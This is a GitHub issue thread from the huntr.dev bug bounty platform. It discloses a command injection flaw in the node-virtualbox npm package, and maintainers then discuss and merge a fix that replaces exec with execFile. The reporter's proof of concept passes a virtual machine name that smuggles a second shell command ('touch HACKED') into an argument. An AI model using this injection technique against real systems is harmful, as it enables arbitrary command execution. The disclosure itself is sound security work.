huntr.dev - Command Injection

[huntr-helper]

This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/Node-Virtualization/node-virtualbox/blob/master/lib/virtualbox.js#L58

Steps To Reproduce:

1. Create the following PoC file:

// poc.js
var virtualbox = require('virtualbox');
virtualbox.start('machine_name"; touch HACKED; # ', true, function start_callback(error) {
  if (error) throw error;
  console.log("Virtual Machine has started WITH A GUI!");
});

2. Check there aren't files called HACKED
3. Execute the following commands in another terminal:

npm i virtualbox # Install affected module
node poc.js #  Run the PoC

4. Recheck the files: now HACKED has been created

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

[michaelsanford]

Hi @Mik317

Please see

• Potential for Arbitrary Command Injection #29 , and
• https://github.com/Node-Virtualization/node-virtualbox#a-note-about-security-warning

I'm open to a PR and have tagged this Up for Grabs.

The way to do this properly is probably to whitelist all permutations of vboxmanage verbs and options.

[JamieSlome]

@michaelsanford - please see #67 for a suggested fix! 🍰

[Mik317]

Hi @michaelsanford :),
thank you for mentioning me and yeah, it's the better way.
Regarding the comment on that issue, I think that code should be security-based, mostly because NodeJS modules aren't webapps themselves, but are modules that can be embedded in really different contexts/scenarios, and sometimes in an unsecure way.
Thank again for your help :).

I saw the fix that has been proposed, and I can confirm the issue is fixed properly through this.
However, I'd like to point your attention to the line 7221596#diff-a28666d942289985393e05fe615f9300R38 it's present the exec function which isn't however imported, it should be execFile :)

Best, Mik

[colonelpopcorn]

@Mik317 I'd like to get this merged into master and make a new release, but there's some code quality checks that need to be addressed here.
Thanks,
Jonathan Ling

[JamieSlome]

@Mik317 @colonelpopcorn - I have made the code quality changes requested and updated the exec to the newly updated execFile.

Let me know your thoughts and if you are happy to merge! 🍰

[colonelpopcorn]

This one's been merged in!